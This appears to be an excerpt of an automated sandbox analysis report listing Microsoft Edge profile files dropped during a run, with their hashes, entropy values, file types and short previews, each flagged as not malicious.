Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8101868609437983
Encrypted:	false
SSDEEP:	24:3V17T9v9nP05KwpsAF4unxbxatLp3X2amEtG1Chq5gYDpnQ9rQKkOAM4V:3DX19nPOZzFrxcLp2FEkChoTpXHOpm
MD5:	F693448F8D8E9E1762C364CE584EF981
SHA1:	4DB75AD5BF037FFFB80A4FA05136101600AE66CE
SHA-256:	775C0B99B90A5553AF37F1608061B510BF415300C244C1065625A4655D6C6D5A
SHA-512:	03F148F41FF281524EEEDA3104EA3F0CBB262EA767DB1EC37FAE7576F5FCEA13BA97C24888B8E04138B0D35F62D2EA2FE7A37A1E89B2A700A20C5DA70C68CEBE
Malicious:	false
Preview:	SNSS.......5..^...........5..^......"5..^...........5..^.......5..^.......6..^.......6..^....!..6..^...............................5..^6..^1..,...6..^$...b1dc82d2_2d90_48e5_8d25_354676ac4799...5..^.......6..^....X~L........5..^...5..^.......................5..^....................5..0...5..^&...{46F3A197-DB49-410A-81B3-94975C835573}.....5..^.......5..^..........................6..^...........6..^........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........%.....%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.1209746069312025
Encrypted:	false
SSDEEP:	6:6k/NHN+q2PN723oH+Tcwt7Uh2ghZIFUt8vk/WG6JZmw+vk/WG69VkwON723oH+T8:6k+vVaYebIhHh2FUt8vk5k/+vk5E5Oa0
MD5:	80B820640E6A506234700CCD82DAD554
SHA1:	2912BE180A4D3D04150FE67BF56A0CC56F70D361
SHA-256:	637AE83C47892A1681A4F2D9CC96D2C39C205A4D4EFCCED9113CD32C8F3EF852
SHA-512:	3545EE4F13A1E5A02F8582639FB1DBA3E13F020B228974317C25C295F10C0AFA0525D9D3FE404503A79E913CE84C8CF5254898D39420A837E025E6B3AC29CEE5
Malicious:	false
Preview:	2024/10/30-10:59:23.124 c58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-10:59:23.125 c58 Recovering log #3.2024/10/30-10:59:23.125 c58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.1209746069312025
Encrypted:	false
SSDEEP:	6:6k/NHN+q2PN723oH+Tcwt7Uh2ghZIFUt8vk/WG6JZmw+vk/WG69VkwON723oH+T8:6k+vVaYebIhHh2FUt8vk5k/+vk5E5Oa0
MD5:	80B820640E6A506234700CCD82DAD554
SHA1:	2912BE180A4D3D04150FE67BF56A0CC56F70D361
SHA-256:	637AE83C47892A1681A4F2D9CC96D2C39C205A4D4EFCCED9113CD32C8F3EF852
SHA-512:	3545EE4F13A1E5A02F8582639FB1DBA3E13F020B228974317C25C295F10C0AFA0525D9D3FE404503A79E913CE84C8CF5254898D39420A837E025E6B3AC29CEE5
Malicious:	false
Preview:	2024/10/30-10:59:23.124 c58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-10:59:23.125 c58 Recovering log #3.2024/10/30-10:59:23.125 c58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.201763395870555
Encrypted:	false
SSDEEP:	12:6k1avVaYebvqBQFUt8vk1ON/+vk155OaYebvqBvJ:dgVaYebvZg86OXrOaYebvk
MD5:	0F910CDCA55B89F2B96C93DB63ED6B88
SHA1:	BCBE148587F54C9B283DED101B26B02513A41902
SHA-256:	7C41DF8C817B3851C87F6E603D72F4050E8628274C3B6646B748D664B9948768
SHA-512:	49C0F27A608EE854A3241F1FB7C493617C0036751EA45710615C7DB69D332F66F2509B676BFC71802FDA5CC82F1BA3CC2CA35213F4514EDDFDFF66073026E782
Malicious:	false
Preview:	2024/10/30-10:59:24.417 1300 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-10:59:24.418 1300 Recovering log #3.2024/10/30-10:59:24.422 1300 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.201763395870555
Encrypted:	false
SSDEEP:	12:6k1avVaYebvqBQFUt8vk1ON/+vk155OaYebvqBvJ:dgVaYebvZg86OXrOaYebvk
MD5:	0F910CDCA55B89F2B96C93DB63ED6B88
SHA1:	BCBE148587F54C9B283DED101B26B02513A41902
SHA-256:	7C41DF8C817B3851C87F6E603D72F4050E8628274C3B6646B748D664B9948768
SHA-512:	49C0F27A608EE854A3241F1FB7C493617C0036751EA45710615C7DB69D332F66F2509B676BFC71802FDA5CC82F1BA3CC2CA35213F4514EDDFDFF66073026E782
Malicious:	false
Preview:	2024/10/30-10:59:24.417 1300 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-10:59:24.418 1300 Recovering log #3.2024/10/30-10:59:24.422 1300 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3b389de5-12fd-4921-8c6f-65d06bdafa24.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\42dd8b5c-7d50-4b36-8233-54d2933649b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\483f4cc2-21ba-4738-aa51-7b4b9a13ec11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\93086481-f295-49db-a556-5bb6ba48caa7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF44245.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ca08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e6b6b7bb-41c9-455f-a08f-20b03cf53589.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.222426498470834
Encrypted:	false
SSDEEP:	12:6k5w4vVaYebvqBZFUt8vk50J/+vk5C3D5OaYebvqBaJ:NVaYebvyg8wlOaYebvL
MD5:	2D327209063791B541BF492E8959B8A5
SHA1:	B32611B64902FE4B3F7F9604B9C94F9ABB279179
SHA-256:	9590AEE7FCD69E3A9B045F6DC050E6EB8F1144F2B3850C33BDDAD355D4A5BBD1
SHA-512:	A0564190C27E48C6685D6534B8517A1FCF331A5A7FB427818E240BFDD515A2992F337CBA8935F0C684BC13FD4265F045AF02CFF87C6E8209DC11068FD0221893
Malicious:	false
Preview:	2024/10/30-10:59:42.832 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-10:59:42.836 1e28 Recovering log #3.2024/10/30-10:59:42.843 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.222426498470834
Encrypted:	false
SSDEEP:	12:6k5w4vVaYebvqBZFUt8vk50J/+vk5C3D5OaYebvqBaJ:NVaYebvyg8wlOaYebvL
MD5:	2D327209063791B541BF492E8959B8A5
SHA1:	B32611B64902FE4B3F7F9604B9C94F9ABB279179
SHA-256:	9590AEE7FCD69E3A9B045F6DC050E6EB8F1144F2B3850C33BDDAD355D4A5BBD1
SHA-512:	A0564190C27E48C6685D6534B8517A1FCF331A5A7FB427818E240BFDD515A2992F337CBA8935F0C684BC13FD4265F045AF02CFF87C6E8209DC11068FD0221893
Malicious:	false
Preview:	2024/10/30-10:59:42.832 1e28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-10:59:42.836 1e28 Recovering log #3.2024/10/30-10:59:42.843 1e28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1987186193506325
Encrypted:	false
SSDEEP:	6:6k/YVq2PN723oH+TcwtpIFUt8vk/9gSgZmw+vk/qzIkwON723oH+Tcwta/WLJ:6kwVvVaYebmFUt8vkRg/+vkyzI5OaYev
MD5:	EC92E751850DBE071246BBB94A9721FF
SHA1:	2C5CB9DDB455DEB676085AB4F407562CEBE86629
SHA-256:	32328D29D4CDFF8984317EF25855CB8A76D2D8FB8EA9A3A3D6AFA4FA65D26423
SHA-512:	5D0F04D78579D87786204317D967EF29F8511360E4058BE29875EA8D29A7E72FE3D1467A610CBA23279D918549DB26DCFBEA884EACD60CB2D400D4604398C807
Malicious:	false
Preview:	2024/10/30-10:59:23.166 1fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-10:59:23.167 1fe4 Recovering log #3.2024/10/30-10:59:23.168 1fe4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1987186193506325
Encrypted:	false
SSDEEP:	6:6k/YVq2PN723oH+TcwtpIFUt8vk/9gSgZmw+vk/qzIkwON723oH+Tcwta/WLJ:6kwVvVaYebmFUt8vkRg/+vkyzI5OaYev
MD5:	EC92E751850DBE071246BBB94A9721FF
SHA1:	2C5CB9DDB455DEB676085AB4F407562CEBE86629
SHA-256:	32328D29D4CDFF8984317EF25855CB8A76D2D8FB8EA9A3A3D6AFA4FA65D26423
SHA-512:	5D0F04D78579D87786204317D967EF29F8511360E4058BE29875EA8D29A7E72FE3D1467A610CBA23279D918549DB26DCFBEA884EACD60CB2D400D4604398C807
Malicious:	false
Preview:	2024/10/30-10:59:23.166 1fe4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-10:59:23.167 1fe4 Recovering log #3.2024/10/30-10:59:23.168 1fe4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676650527107232
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0Jh91LyKOMq+8iP5GLP/0P
MD5:	F2823C0C16BA5527275BBFE7277A8901
SHA1:	AE76D60EFE202E90EB20FD652181DEBADF29F9C0
SHA-256:	826EBADB889BC9190C75EADD0AD1EDCBE90CFD34510B7F6636DCC345A845C1B1
SHA-512:	7662AE43CD377693137F3B01DA8C4D40FD32AC371B373C1DA643990156D5812734DCD972268237925D0261DB18906821D7D523DCA31DAF5AE57A67AC67873211
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4664066799151476
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0h0cM:v7doKsKuKZKlZNmu46yjx0+r
MD5:	CD463CB03BCE366099BE92EB8B985DCE
SHA1:	0FB9FD220220B2BB13EB6B53F62B4D6C1ED1DF70
SHA-256:	9D51274CEA7EE98BA59591F7DD33C97B022600E5D718BCBEF4AF8850F51D5563
SHA-512:	BFBDC3B3121FD1A92AACAD429A1C079B0F28D37F3AD3D38D150B7492753366731F711FAAFEBA501BC97A7C5AB41E1398F1FDCD0282D8B895F42581142433E1AA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
